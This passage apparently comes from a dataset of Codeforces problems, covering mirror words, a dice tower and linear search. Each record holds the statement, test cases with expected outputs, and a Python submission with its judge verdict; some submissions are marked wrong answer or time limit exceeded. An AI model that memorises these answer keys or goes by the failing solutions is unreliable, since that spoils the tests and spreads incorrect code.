strings *c**i* belongs to the set of strings {*a*1,<=*a*2,<=... *a**m*}. All the strings in the input are non-empty, each consisting of no more than 10 lowercase English letters. Output Specification: Output exactly *n* words: how you will record the lecture in your notebook. Output the words of the lecture in the same order as in the input. Demo Input: ['4 3\ncodeforces codesecrof\ncontest round\nletter message\ncodeforces contest letter contest\n', '5 3\njoll wuqrd\neuzf un\nhbnyiyc rsoqqveh\nhbnyiyc joll joll euzf joll\n'] Demo Output: ['codeforces round letter round\n', 'hbnyiyc joll joll un joll\n'] Note: none
```python n,m = map(int,input().split()) hash = {} for i in range(m): s1,s2 = input().split() hash[s1] = s2 hash[s2] = s1 a = list(map(str,input().split())) for i in range(len(a)): if len(a[i]) > len(hash[a[i]]): a[i] = hash[a[i]] print(" ".join(map(str,a))) ```
3
420
A
Start Up
PROGRAMMING
1,000
[ "implementation" ]
null
null
Recently, a start up by two students of a state university of city F gained incredible popularity. Now it's time to start a new company. But what do we call it? The market analysts came up with a very smart plan: the name of the company should be identical to its reflection in a mirror! In other words, if we write out the name of the company on a piece of paper in a line (horizontally, from left to right) with large English letters, then put this piece of paper in front of the mirror, then the reflection of the name in the mirror should perfectly match the line written on the piece of paper. There are many suggestions for the company name, so coming up to the mirror with a piece of paper for each name wouldn't be sensible. The founders of the company decided to automatize this process. They asked you to write a program that can, given a word, determine whether the word is a 'mirror' word or not.
The first line contains a non-empty name that needs to be checked. The name contains at most 105 large English letters. The name will be written with the next sans serif font:
Print 'YES' (without the quotes), if the given name matches its mirror reflection. Otherwise, print 'NO' (without the quotes).
[ "AHA\n", "Z\n", "XO\n" ]
[ "YES\n", "NO\n", "NO\n" ]
none
500
[ { "input": "AHA", "output": "YES" }, { "input": "Z", "output": "NO" }, { "input": "XO", "output": "NO" }, { "input": "AAA", "output": "YES" }, { "input": "AHHA", "output": "YES" }, { "input": "BAB", "output": "NO" }, { "input": "OMMMAAMMMO", "output": "YES" }, { "input": "YYHUIUGYI", "output": "NO" }, { "input": "TT", "output": "YES" }, { "input": "UUU", "output": "YES" }, { "input": "WYYW", "output": "YES" }, { "input": "MITIM", "output": "YES" }, { "input": "VO", "output": "NO" }, { "input": "WWS", "output": "NO" }, { "input": "VIYMAXXAVM", "output": "NO" }, { "input": "OVWIHIWVYXMVAAAATOXWOIUUHYXHIHHVUIOOXWHOXTUUMUUVHVWWYUTIAUAITAOMHXWMTTOIVMIVOTHOVOIOHYHAOXWAUVWAVIVM", "output": "NO" }, { "input": "CC", "output": "NO" }, { "input": "QOQ", "output": "NO" }, { "input": "AEEA", "output": "NO" }, { "input": "OQQQO", "output": "NO" }, { "input": "HNCMEEMCNH", "output": "NO" }, { "input": "QDPINBMCRFWXPDBFGOZVVOCEMJRUCTOADEWEGTVBVBFWWRPGYEEYGPRWWFBVBVTGEWEDAOTCURJMECOVVZOGFBDPXWFRCMBNIPDQ", "output": "NO" }, { "input": "A", "output": "YES" }, { "input": "B", "output": "NO" }, { "input": "C", "output": "NO" }, { "input": "D", "output": "NO" }, { "input": "E", "output": "NO" }, { "input": "F", "output": "NO" }, { "input": "G", "output": "NO" }, { "input": "H", "output": "YES" }, { "input": "I", "output": "YES" }, { "input": "J", "output": "NO" }, { "input": "K", "output": "NO" }, { "input": "L", "output": "NO" }, { "input": "M", "output": "YES" }, { "input": "N", "output": "NO" }, { "input": "O", "output": "YES" }, { "input": "P", "output": "NO" }, { "input": "Q", "output": "NO" }, { "input": "R", "output": "NO" }, { "input": "S", "output": "NO" }, { "input": "T", "output": "YES" }, { "input": "U", "output": "YES" }, { "input": "V", "output": "YES" }, { "input": "W", "output": "YES" }, { "input": "X", "output": "YES" }, { "input": "Y", "output": "YES" }, { "input": "JL", "output": "NO" }, { "input": "AAAKTAAA", "output": "NO" }, { "input": "AKA", "output": "NO" }, { "input": "AAJAA", "output": "NO" }, { "input": "ABA", "output": "NO" }, { "input": "AAAAAABAAAAAA", "output": "NO" }, { "input": "ZZ", "output": "NO" }, { "input": "ADA", "output": "NO" }, { "input": "N", "output": "NO" }, { "input": "P", "output": "NO" }, { "input": "LAL", "output": "NO" }, { "input": "AABAA", "output": "NO" }, { "input": "AZA", "output": "NO" }, { "input": "V", "output": "YES" }, { "input": "SSS", "output": "NO" }, { "input": "NNN", "output": "NO" }, { "input": "S", "output": "NO" }, { "input": "I", "output": "YES" }, { "input": "SS", "output": "NO" }, { "input": "E", "output": "NO" } ]
1,404,842,377
2,147,483,647
Python 3
OK
TESTS
80
93
204,800
n=input() i=0 k=len(n)-1 _b=True while i<=k and _b: if n[i]==n[k] and n[i] in ['A','H','I','M','O','T','U','V','W','X','Y']: _b=True i+=1 k-=1 else: _b=False if _b: print('YES') else: print('NO')
Title: Start Up Time Limit: None seconds Memory Limit: None megabytes Problem Description: Recently, a start up by two students of a state university of city F gained incredible popularity. Now it's time to start a new company. But what do we call it? The market analysts came up with a very smart plan: the name of the company should be identical to its reflection in a mirror! In other words, if we write out the name of the company on a piece of paper in a line (horizontally, from left to right) with large English letters, then put this piece of paper in front of the mirror, then the reflection of the name in the mirror should perfectly match the line written on the piece of paper. There are many suggestions for the company name, so coming up to the mirror with a piece of paper for each name wouldn't be sensible. The founders of the company decided to automatize this process. They asked you to write a program that can, given a word, determine whether the word is a 'mirror' word or not. Input Specification: The first line contains a non-empty name that needs to be checked. The name contains at most 105 large English letters. The name will be written with the next sans serif font: Output Specification: Print 'YES' (without the quotes), if the given name matches its mirror reflection. Otherwise, print 'NO' (without the quotes). Demo Input: ['AHA\n', 'Z\n', 'XO\n'] Demo Output: ['YES\n', 'NO\n', 'NO\n'] Note: none
```python n=input() i=0 k=len(n)-1 _b=True while i<=k and _b: if n[i]==n[k] and n[i] in ['A','H','I','M','O','T','U','V','W','X','Y']: _b=True i+=1 k-=1 else: _b=False if _b: print('YES') else: print('NO') ```
3
225
A
Dice Tower
PROGRAMMING
1,100
[ "constructive algorithms", "greedy" ]
null
null
A dice is a cube, its faces contain distinct integers from 1 to 6 as black points. The sum of numbers at the opposite dice faces always equals 7. Please note that there are only two dice (these dices are mirror of each other) that satisfy the given constraints (both of them are shown on the picture on the left). Alice and Bob play dice. Alice has built a tower from *n* dice. We know that in this tower the adjacent dice contact with faces with distinct numbers. Bob wants to uniquely identify the numbers written on the faces of all dice, from which the tower is built. Unfortunately, Bob is looking at the tower from the face, and so he does not see all the numbers on the faces. Bob sees the number on the top of the tower and the numbers on the two adjacent sides (on the right side of the picture shown what Bob sees). Help Bob, tell whether it is possible to uniquely identify the numbers on the faces of all the dice in the tower, or not.
The first line contains a single integer *n* (1<=≤<=*n*<=≤<=100) — the number of dice in the tower. The second line contains an integer *x* (1<=≤<=*x*<=≤<=6) — the number Bob sees at the top of the tower. Next *n* lines contain two space-separated integers each: the *i*-th line contains numbers *a**i*,<=*b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=6; *a**i*<=≠<=*b**i*) — the numbers Bob sees on the two sidelong faces of the *i*-th dice in the tower. Consider the dice in the tower indexed from top to bottom from 1 to *n*. That is, the topmost dice has index 1 (the dice whose top face Bob can see). It is guaranteed that it is possible to make a dice tower that will look as described in the input.
Print "YES" (without the quotes), if it is possible to to uniquely identify the numbers on the faces of all the dice in the tower. If it is impossible, print "NO" (without the quotes).
[ "3\n6\n3 2\n5 4\n2 4\n", "3\n3\n2 6\n4 1\n5 3\n" ]
[ "YES", "NO" ]
none
500
[ { "input": "3\n6\n3 2\n5 4\n2 4", "output": "YES" }, { "input": "3\n3\n2 6\n4 1\n5 3", "output": "NO" }, { "input": "1\n3\n2 1", "output": "YES" }, { "input": "2\n2\n3 1\n1 5", "output": "NO" }, { "input": "3\n2\n1 4\n5 3\n6 4", "output": "NO" }, { "input": "4\n3\n5 6\n1 3\n1 5\n4 1", "output": "NO" }, { "input": "2\n2\n3 1\n1 3", "output": "YES" }, { "input": "3\n2\n1 4\n3 1\n4 6", "output": "YES" }, { "input": "4\n3\n5 6\n1 5\n5 1\n1 5", "output": "YES" }, { "input": "5\n1\n2 3\n5 3\n5 4\n5 1\n3 5", "output": "NO" }, { "input": "10\n5\n1 3\n2 3\n6 5\n6 5\n4 5\n1 3\n1 2\n3 2\n4 2\n1 2", "output": "NO" }, { "input": "15\n4\n2 1\n2 4\n6 4\n5 3\n4 1\n4 2\n6 3\n4 5\n3 5\n2 6\n5 6\n1 5\n3 5\n6 4\n3 2", "output": "NO" }, { "input": "20\n6\n3 2\n4 6\n3 6\n6 4\n5 1\n1 5\n2 6\n1 2\n1 4\n5 3\n2 3\n6 2\n5 4\n2 6\n1 3\n4 6\n4 5\n6 3\n3 1\n6 2", "output": "NO" }, { "input": "25\n4\n1 2\n4 1\n3 5\n2 1\n3 5\n6 5\n3 5\n5 6\n1 2\n2 4\n6 2\n2 3\n2 4\n6 5\n2 3\n6 3\n2 3\n1 3\n2 1\n3 1\n5 6\n3 1\n6 4\n3 6\n2 3", "output": "NO" }, { "input": "100\n3\n6 5\n5 1\n3 2\n1 5\n3 6\n5 4\n2 6\n4 1\n6 3\n4 5\n1 5\n1 4\n4 2\n2 6\n5 4\n4 1\n1 3\n6 5\n5 1\n2 1\n2 4\n2 1\n3 6\n4 1\n6 3\n2 3\n5 1\n2 6\n6 4\n3 5\n4 1\n6 5\n1 5\n1 5\n2 3\n4 1\n5 3\n6 4\n1 3\n5 3\n4 1\n1 4\n2 1\n6 2\n1 5\n6 2\n6 2\n4 5\n4 2\n5 6\n6 3\n1 3\n2 3\n5 4\n6 5\n3 1\n1 2\n4 1\n1 3\n1 3\n6 5\n4 6\n3 1\n2 1\n2 3\n3 2\n4 1\n1 5\n4 1\n6 3\n1 5\n4 5\n4 2\n4 5\n2 6\n2 1\n3 5\n4 6\n4 2\n4 5\n2 4\n3 1\n6 4\n5 6\n3 1\n1 4\n4 5\n6 3\n6 3\n2 1\n5 1\n3 6\n3 5\n2 1\n4 6\n4 2\n5 6\n3 1\n3 5\n3 6", "output": "NO" }, { "input": "99\n3\n2 1\n6 2\n3 6\n1 3\n5 1\n2 6\n4 6\n6 4\n6 4\n6 5\n3 6\n2 6\n1 5\n2 3\n4 6\n1 4\n4 1\n2 3\n4 5\n4 1\n5 1\n1 2\n6 5\n4 6\n6 5\n6 2\n3 6\n6 4\n2 1\n3 1\n2 1\n6 2\n3 5\n4 1\n5 3\n3 1\n1 5\n3 6\n6 2\n1 5\n2 1\n5 1\n4 1\n2 6\n5 4\n4 2\n2 1\n1 5\n1 3\n4 6\n4 6\n4 5\n2 3\n6 2\n3 2\n2 1\n4 6\n6 2\n3 5\n3 6\n3 1\n2 3\n2 1\n3 6\n6 5\n6 3\n1 2\n5 1\n1 4\n6 2\n5 3\n1 3\n5 4\n2 3\n6 3\n1 5\n1 2\n2 6\n5 6\n5 6\n3 5\n3 1\n4 6\n3 1\n4 5\n4 2\n3 5\n6 2\n2 4\n4 6\n6 2\n4 2\n2 3\n2 4\n1 5\n1 4\n3 5\n1 2\n4 5", "output": "NO" }, { "input": "98\n6\n4 2\n1 2\n3 2\n2 1\n2 1\n3 2\n2 3\n6 5\n4 6\n1 5\n4 5\n5 1\n6 5\n1 4\n1 2\n2 4\n6 5\n4 5\n4 6\n3 1\n2 3\n4 1\n4 2\n6 5\n3 2\n4 2\n5 1\n2 4\n1 3\n4 5\n3 2\n1 2\n3 1\n3 2\n3 6\n6 4\n3 6\n3 5\n4 6\n6 5\n3 5\n3 2\n4 2\n6 4\n1 3\n2 4\n5 3\n2 3\n1 3\n5 6\n5 3\n5 3\n4 6\n4 6\n3 6\n4 1\n6 5\n6 2\n1 5\n2 1\n6 2\n5 4\n6 3\n1 5\n2 3\n2 6\n5 6\n2 6\n5 1\n3 2\n6 2\n6 2\n1 2\n2 1\n3 5\n2 1\n4 6\n1 4\n4 5\n3 2\n3 2\n5 4\n1 3\n5 1\n2 3\n6 2\n2 6\n1 5\n5 1\n5 4\n5 1\n5 4\n2 1\n6 5\n1 4\n6 5\n1 2\n3 5", "output": "NO" }, { "input": "97\n3\n2 1\n6 5\n4 1\n6 5\n3 2\n1 2\n6 3\n6 4\n6 3\n1 3\n1 3\n3 1\n3 6\n3 2\n5 6\n4 2\n3 6\n1 5\n2 6\n3 2\n6 2\n2 1\n2 4\n1 3\n3 1\n2 6\n3 6\n4 6\n6 2\n5 1\n6 3\n2 6\n3 6\n2 4\n4 5\n6 5\n4 1\n5 6\n6 2\n5 4\n5 1\n6 5\n1 4\n2 1\n4 5\n4 5\n4 1\n5 4\n1 4\n2 6\n2 6\n1 5\n5 6\n3 2\n2 3\n1 4\n4 1\n3 6\n6 2\n5 3\n6 2\n4 5\n6 2\n2 6\n6 5\n1 4\n2 6\n3 5\n2 6\n4 1\n4 5\n1 3\n4 2\n3 2\n1 2\n5 6\n1 5\n3 5\n2 1\n1 2\n1 2\n6 4\n5 1\n1 2\n2 4\n6 3\n4 5\n1 5\n4 2\n5 1\n3 1\n6 4\n4 2\n1 5\n4 6\n2 1\n2 6", "output": "NO" }, { "input": "96\n4\n1 5\n1 5\n4 6\n1 2\n4 2\n3 2\n4 6\n6 4\n6 3\n6 2\n4 1\n6 4\n5 1\n2 4\n5 6\n6 5\n3 2\n6 2\n3 1\n1 4\n3 2\n6 2\n2 4\n1 3\n5 4\n1 3\n6 2\n6 2\n5 6\n1 4\n4 2\n6 2\n3 1\n6 5\n3 1\n4 2\n6 3\n3 2\n3 6\n1 3\n5 6\n6 4\n1 4\n5 4\n2 6\n3 5\n5 4\n5 1\n2 4\n1 5\n1 3\n1 2\n1 3\n6 4\n6 3\n4 5\n4 1\n3 6\n1 2\n6 4\n1 2\n2 3\n2 1\n4 6\n1 3\n5 1\n4 5\n5 4\n6 3\n2 6\n5 1\n6 2\n3 1\n3 1\n5 4\n3 1\n5 6\n2 6\n5 6\n4 2\n6 5\n3 2\n6 5\n2 3\n6 4\n6 2\n1 2\n4 1\n1 2\n6 3\n2 1\n5 1\n6 5\n5 4\n4 5\n1 2", "output": "NO" }, { "input": "5\n1\n2 3\n3 5\n4 5\n5 4\n5 3", "output": "YES" }, { "input": "10\n5\n1 3\n3 1\n6 3\n6 3\n4 6\n3 1\n1 4\n3 1\n4 6\n1 3", "output": "YES" }, { "input": "15\n4\n2 1\n2 6\n6 5\n5 1\n1 5\n2 1\n6 5\n5 1\n5 1\n6 2\n6 5\n5 1\n5 1\n6 5\n2 6", "output": "YES" }, { "input": "20\n6\n3 2\n4 2\n3 5\n4 2\n5 3\n5 4\n2 3\n2 3\n4 5\n3 5\n3 2\n2 4\n4 5\n2 4\n3 2\n4 2\n5 4\n3 2\n3 5\n2 4", "output": "YES" }, { "input": "25\n4\n1 2\n1 5\n5 6\n1 2\n5 1\n5 6\n5 1\n6 5\n2 1\n2 6\n2 6\n2 6\n2 6\n5 6\n2 6\n6 5\n2 1\n1 5\n1 2\n1 2\n6 5\n1 2\n6 5\n6 2\n2 6", "output": "YES" }, { "input": "100\n3\n6 5\n1 5\n2 1\n5 1\n6 5\n5 1\n6 2\n1 2\n6 5\n5 1\n5 1\n1 5\n2 6\n6 2\n5 6\n1 2\n1 5\n5 6\n1 5\n1 2\n2 6\n1 2\n6 2\n1 5\n6 2\n2 6\n1 5\n6 2\n6 5\n5 6\n1 5\n5 6\n5 1\n5 1\n2 1\n1 2\n5 6\n6 5\n1 5\n5 1\n1 2\n1 5\n1 2\n2 6\n5 1\n2 6\n2 6\n5 6\n2 6\n6 5\n6 5\n1 5\n2 1\n5 6\n5 6\n1 2\n2 1\n1 2\n1 2\n1 2\n5 6\n6 2\n1 5\n1 2\n2 1\n2 6\n1 2\n5 1\n1 5\n6 5\n5 1\n5 1\n2 6\n5 6\n6 2\n1 2\n5 1\n6 2\n2 1\n5 6\n2 1\n1 5\n6 5\n6 5\n1 2\n1 2\n5 1\n6 2\n6 2\n1 2\n1 5\n6 5\n5 6\n1 2\n6 5\n2 1\n6 5\n1 5\n5 6\n6 5", "output": "YES" }, { "input": "99\n3\n2 1\n2 6\n6 2\n1 5\n1 5\n6 2\n6 5\n6 5\n6 2\n5 6\n6 5\n6 2\n5 1\n2 6\n6 5\n1 5\n1 5\n2 6\n5 1\n1 5\n1 5\n2 1\n5 6\n6 5\n5 6\n2 6\n6 2\n6 5\n1 2\n1 2\n1 2\n2 6\n5 6\n1 2\n5 6\n1 2\n5 1\n6 5\n2 6\n5 1\n1 2\n1 5\n1 5\n6 2\n5 1\n2 6\n1 2\n5 1\n1 5\n6 5\n6 5\n5 6\n2 1\n2 6\n2 6\n1 2\n6 2\n2 6\n5 6\n6 5\n1 5\n2 1\n1 2\n6 2\n5 6\n6 5\n2 1\n1 5\n1 5\n2 6\n5 1\n1 2\n5 6\n2 1\n6 5\n5 1\n2 1\n6 2\n6 5\n6 5\n5 6\n1 2\n6 5\n1 2\n5 1\n2 1\n5 1\n2 6\n2 1\n6 2\n2 6\n2 6\n2 1\n2 1\n5 1\n1 5\n5 6\n2 1\n5 6", "output": "YES" }, { "input": "98\n6\n4 2\n2 3\n2 3\n2 3\n2 3\n2 3\n3 2\n5 4\n4 2\n5 4\n5 4\n5 4\n5 3\n4 5\n2 3\n4 2\n5 3\n5 4\n4 5\n3 5\n3 2\n4 2\n2 4\n5 4\n2 3\n2 4\n5 4\n4 2\n3 5\n5 4\n2 3\n2 4\n3 5\n2 3\n3 5\n4 2\n3 5\n5 3\n4 2\n5 3\n5 3\n2 3\n2 4\n4 5\n3 2\n4 2\n3 5\n3 2\n3 5\n5 4\n3 5\n3 5\n4 2\n4 2\n3 2\n4 5\n5 4\n2 3\n5 4\n2 4\n2 3\n4 5\n3 5\n5 4\n3 2\n2 3\n5 3\n2 3\n5 3\n2 3\n2 3\n2 4\n2 3\n2 3\n5 3\n2 3\n4 2\n4 2\n5 4\n2 3\n2 3\n4 5\n3 2\n5 3\n3 2\n2 4\n2 4\n5 3\n5 4\n4 5\n5 3\n4 5\n2 4\n5 3\n4 2\n5 4\n2 4\n5 3", "output": "YES" }, { "input": "97\n3\n2 1\n5 6\n1 2\n5 6\n2 6\n2 1\n6 2\n6 5\n6 2\n1 5\n1 2\n1 2\n6 2\n2 6\n6 5\n2 6\n6 5\n5 1\n6 2\n2 6\n2 6\n1 2\n2 6\n1 2\n1 5\n6 2\n6 5\n6 5\n2 6\n1 5\n6 5\n6 2\n6 2\n2 6\n5 6\n5 6\n1 5\n6 5\n2 6\n5 6\n1 5\n5 6\n1 5\n1 2\n5 1\n5 1\n1 5\n5 1\n1 5\n6 2\n6 2\n5 1\n6 5\n2 1\n2 6\n1 5\n1 5\n6 2\n2 6\n5 6\n2 6\n5 6\n2 6\n6 2\n5 6\n1 2\n6 2\n5 6\n6 2\n1 5\n5 6\n1 5\n2 6\n2 6\n2 1\n6 5\n5 1\n5 1\n1 2\n2 1\n2 1\n6 2\n1 5\n2 1\n2 1\n6 2\n5 1\n5 1\n2 6\n1 5\n1 2\n6 2\n2 6\n5 1\n6 5\n1 2\n6 2", "output": "YES" }, { "input": "96\n4\n1 5\n5 1\n6 5\n2 1\n2 1\n2 6\n6 5\n6 5\n6 2\n2 6\n1 5\n6 5\n1 5\n2 6\n6 5\n5 6\n2 1\n2 6\n1 2\n1 5\n2 6\n2 6\n2 1\n1 5\n5 1\n1 2\n2 6\n2 6\n6 5\n1 5\n2 1\n2 6\n1 2\n5 6\n1 5\n2 6\n6 2\n2 6\n6 5\n1 5\n6 5\n6 5\n1 5\n5 1\n6 2\n5 1\n5 1\n1 5\n2 6\n5 1\n1 5\n2 1\n1 2\n6 2\n6 2\n5 6\n1 5\n6 5\n2 1\n6 5\n2 1\n2 1\n1 2\n6 2\n1 2\n1 5\n5 1\n5 6\n6 5\n6 2\n1 5\n2 6\n1 2\n1 2\n5 1\n1 5\n6 5\n6 2\n6 5\n2 6\n5 6\n2 1\n5 6\n2 1\n6 5\n2 6\n2 1\n1 5\n2 1\n6 2\n1 2\n1 5\n5 6\n5 1\n5 6\n2 1", "output": "YES" }, { "input": "3\n6\n3 2\n5 4\n2 6", "output": "NO" }, { "input": "4\n1\n2 3\n2 3\n2 3\n1 3", "output": "NO" }, { "input": "2\n6\n3 2\n6 4", "output": "NO" }, { "input": "3\n6\n3 2\n5 6\n2 4", "output": "NO" }, { "input": "2\n5\n6 3\n4 5", "output": "NO" }, { "input": "2\n6\n3 2\n6 5", "output": "NO" }, { "input": "2\n1\n3 2\n1 2", "output": "NO" }, { "input": "2\n3\n5 1\n3 5", "output": "NO" }, { "input": "2\n1\n2 3\n1 2", "output": "NO" }, { "input": "2\n1\n2 3\n2 1", "output": "NO" }, { "input": "3\n1\n4 5\n4 1\n4 5", "output": "NO" }, { "input": "2\n4\n2 6\n5 4", "output": "NO" }, { "input": "2\n6\n3 2\n6 2", "output": "NO" }, { "input": "2\n3\n2 1\n3 5", "output": "NO" }, { "input": "2\n3\n1 2\n3 1", "output": "NO" }, { "input": "2\n3\n2 6\n5 3", "output": "NO" }, { "input": "3\n3\n1 2\n3 2\n3 1", "output": "NO" }, { "input": "3\n5\n3 1\n1 3\n2 3", "output": "NO" }, { "input": "2\n6\n2 4\n6 5", "output": "NO" }, { "input": "2\n6\n4 5\n6 5", "output": "NO" }, { "input": "2\n6\n3 5\n3 6", "output": "NO" }, { "input": "2\n4\n1 2\n4 5", "output": "NO" }, { "input": "2\n3\n2 6\n3 1", "output": "NO" } ]
1,684,689,070
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
2
62
0
import sys input = sys.stdin.readline ############ ---- Input Functions ---- ############ def inp(): return(int(input())) def inlt(): return(list(map(int,input().split()))) def insr(): s = input() return(list(s[:len(s) - 1])) def inir(): s = input() #return list(s[:len(s) - 1]) return(list(map(int,list(s[:len(s) - 1])))) def invr(): return(map(int,input().split())) ############ ---- Calculation Functions ---- ############ ############ ---- Solution ---- ############ n = inp() x = inp() breaked = False if(n==1): print("YES") else: top_diceL,top_diceR = invr() while(n-1): n-=1 not_to_be = 7-x dice_L,dice_R = invr() not_face = [dice_L,7-dice_L,dice_R,7-dice_R,not_to_be] unique_not_face = set(not_face) if(len(unique_not_face)==4): print("NO") breaked = True break else: for i in range(1,7): if(i not in not_face): x=i break if(not breaked): print("YES")
Title: Dice Tower Time Limit: None seconds Memory Limit: None megabytes Problem Description: A dice is a cube, its faces contain distinct integers from 1 to 6 as black points. The sum of numbers at the opposite dice faces always equals 7. Please note that there are only two dice (these dices are mirror of each other) that satisfy the given constraints (both of them are shown on the picture on the left). Alice and Bob play dice. Alice has built a tower from *n* dice. We know that in this tower the adjacent dice contact with faces with distinct numbers. Bob wants to uniquely identify the numbers written on the faces of all dice, from which the tower is built. Unfortunately, Bob is looking at the tower from the face, and so he does not see all the numbers on the faces. Bob sees the number on the top of the tower and the numbers on the two adjacent sides (on the right side of the picture shown what Bob sees). Help Bob, tell whether it is possible to uniquely identify the numbers on the faces of all the dice in the tower, or not. Input Specification: The first line contains a single integer *n* (1<=≤<=*n*<=≤<=100) — the number of dice in the tower. The second line contains an integer *x* (1<=≤<=*x*<=≤<=6) — the number Bob sees at the top of the tower. Next *n* lines contain two space-separated integers each: the *i*-th line contains numbers *a**i*,<=*b**i* (1<=≤<=*a**i*,<=*b**i*<=≤<=6; *a**i*<=≠<=*b**i*) — the numbers Bob sees on the two sidelong faces of the *i*-th dice in the tower. Consider the dice in the tower indexed from top to bottom from 1 to *n*. That is, the topmost dice has index 1 (the dice whose top face Bob can see). It is guaranteed that it is possible to make a dice tower that will look as described in the input. Output Specification: Print "YES" (without the quotes), if it is possible to to uniquely identify the numbers on the faces of all the dice in the tower. If it is impossible, print "NO" (without the quotes). Demo Input: ['3\n6\n3 2\n5 4\n2 4\n', '3\n3\n2 6\n4 1\n5 3\n'] Demo Output: ['YES', 'NO'] Note: none
```python import sys input = sys.stdin.readline ############ ---- Input Functions ---- ############ def inp(): return(int(input())) def inlt(): return(list(map(int,input().split()))) def insr(): s = input() return(list(s[:len(s) - 1])) def inir(): s = input() #return list(s[:len(s) - 1]) return(list(map(int,list(s[:len(s) - 1])))) def invr(): return(map(int,input().split())) ############ ---- Calculation Functions ---- ############ ############ ---- Solution ---- ############ n = inp() x = inp() breaked = False if(n==1): print("YES") else: top_diceL,top_diceR = invr() while(n-1): n-=1 not_to_be = 7-x dice_L,dice_R = invr() not_face = [dice_L,7-dice_L,dice_R,7-dice_R,not_to_be] unique_not_face = set(not_face) if(len(unique_not_face)==4): print("NO") breaked = True break else: for i in range(1,7): if(i not in not_face): x=i break if(not breaked): print("YES") ```
0
227
B
Effective Approach
PROGRAMMING
1,100
[ "implementation" ]
null
null
Once at a team training Vasya, Petya and Sasha got a problem on implementing linear search in an array. According to the boys, linear search works as follows. The array elements in a pre-selected order are in turn compared with the number that you need to find. Once you find the array element that is equal to the required one, the search ends. The efficiency of the algorithm is the number of performed comparisons. The fewer comparisons the linear search has made, the more effective it is. Vasya believes that a linear search would work better if it sequentially iterates through the elements, starting with the 1-st one (in this problem we consider the elements of the array indexed from 1 to *n*) and ending with the *n*-th one. And Petya says that Vasya is wrong: the search will need less comparisons if it sequentially iterates the elements starting from the *n*-th and ending with the 1-st one. Sasha argues that the two approaches are equivalent. To finally begin the task, the teammates decided to settle the debate and compare the two approaches on an example. For this, they took an array that is a permutation of integers from 1 to *n*, and generated *m* queries of the form: find element with value *b**i* in the array. They want to calculate for both approaches how many comparisons in total the linear search will need to respond to all queries. If the first search needs fewer comparisons, then the winner of the dispute is Vasya. If the second one does, then the winner is Petya. If both approaches make the same number of comparisons, then Sasha's got the upper hand. But the problem is, linear search is too slow. That's why the boys aren't going to find out who is right before the end of the training, unless you come in here. Help them to determine who will win the dispute.
The first line contains integer *n* (1<=≤<=*n*<=≤<=105) — the number of elements in the array. The second line contains *n* distinct space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=*n*) — the elements of array. The third line contains integer *m* (1<=≤<=*m*<=≤<=105) — the number of queries. The last line contains *m* space-separated integers *b*1,<=*b*2,<=...,<=*b**m* (1<=≤<=*b**i*<=≤<=*n*) — the search queries. Note that the queries can repeat.
Print two integers, showing how many comparisons Vasya's approach needs and how many comparisons Petya's approach needs. Separate the numbers by spaces. Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is preferred to use cin, cout streams or the %I64d specifier.
[ "2\n1 2\n1\n1\n", "2\n2 1\n1\n1\n", "3\n3 1 2\n3\n1 2 3\n" ]
[ "1 2\n", "2 1\n", "6 6\n" ]
In the first sample Vasya's approach will make one comparison (it starts with the 1-st element and immediately finds the required number), and Petya's approach makes two comparisons (first he compares with the 2-nd array element, doesn't find the search item and compares with the 1-st element). In the second sample, on the contrary, Vasya's approach will need two comparisons (first with 1-st element, and then with the 2-nd), and Petya's approach will find the required value in one comparison (the first comparison with the 2-nd element).
1,000
[ { "input": "2\n1 2\n1\n1", "output": "1 2" }, { "input": "2\n2 1\n1\n1", "output": "2 1" }, { "input": "3\n3 1 2\n3\n1 2 3", "output": "6 6" }, { "input": "9\n2 9 3 1 6 4 7 8 5\n9\n5 1 5 2 8 4 4 4 5", "output": "58 32" }, { "input": "10\n3 10 9 2 7 6 5 8 4 1\n1\n4", "output": "9 2" }, { "input": "10\n5 2 10 8 3 1 9 7 6 4\n9\n2 5 9 2 3 2 5 9 8", "output": "31 68" }, { "input": "9\n3 8 4 7 1 2 5 6 9\n3\n2 7 1", "output": "15 15" }, { "input": "9\n5 3 8 4 2 6 1 7 9\n4\n6 1 9 2", "output": "27 13" }, { "input": "4\n1 3 2 4\n4\n3 1 2 3", "output": "8 12" }, { "input": "3\n1 2 3\n8\n3 2 1 1 2 3 1 2", "output": "15 17" } ]
1,632,587,162
2,147,483,647
Python 3
TIME_LIMIT_EXCEEDED
TESTS
6
2,000
14,438,400
c1,c2=0,0 k=int(input()) l=list(map(int,input().split(" "))) m=int(input()) n=list(map(int,input().split(" "))) for i in n: c1+=1+l.index(i) c2+=len(l)-l.index(i) print(c1,c2)
Title: Effective Approach Time Limit: None seconds Memory Limit: None megabytes Problem Description: Once at a team training Vasya, Petya and Sasha got a problem on implementing linear search in an array. According to the boys, linear search works as follows. The array elements in a pre-selected order are in turn compared with the number that you need to find. Once you find the array element that is equal to the required one, the search ends. The efficiency of the algorithm is the number of performed comparisons. The fewer comparisons the linear search has made, the more effective it is. Vasya believes that a linear search would work better if it sequentially iterates through the elements, starting with the 1-st one (in this problem we consider the elements of the array indexed from 1 to *n*) and ending with the *n*-th one. And Petya says that Vasya is wrong: the search will need less comparisons if it sequentially iterates the elements starting from the *n*-th and ending with the 1-st one. Sasha argues that the two approaches are equivalent. To finally begin the task, the teammates decided to settle the debate and compare the two approaches on an example. For this, they took an array that is a permutation of integers from 1 to *n*, and generated *m* queries of the form: find element with value *b**i* in the array. They want to calculate for both approaches how many comparisons in total the linear search will need to respond to all queries. If the first search needs fewer comparisons, then the winner of the dispute is Vasya. If the second one does, then the winner is Petya. If both approaches make the same number of comparisons, then Sasha's got the upper hand. But the problem is, linear search is too slow. That's why the boys aren't going to find out who is right before the end of the training, unless you come in here. Help them to determine who will win the dispute. Input Specification: The first line contains integer *n* (1<=≤<=*n*<=≤<=105) — the number of elements in the array. The second line contains *n* distinct space-separated integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=*n*) — the elements of array. The third line contains integer *m* (1<=≤<=*m*<=≤<=105) — the number of queries. The last line contains *m* space-separated integers *b*1,<=*b*2,<=...,<=*b**m* (1<=≤<=*b**i*<=≤<=*n*) — the search queries. Note that the queries can repeat. Output Specification: Print two integers, showing how many comparisons Vasya's approach needs and how many comparisons Petya's approach needs. Separate the numbers by spaces. Please, do not use the %lld specifier to read or write 64-bit integers in С++. It is preferred to use cin, cout streams or the %I64d specifier. Demo 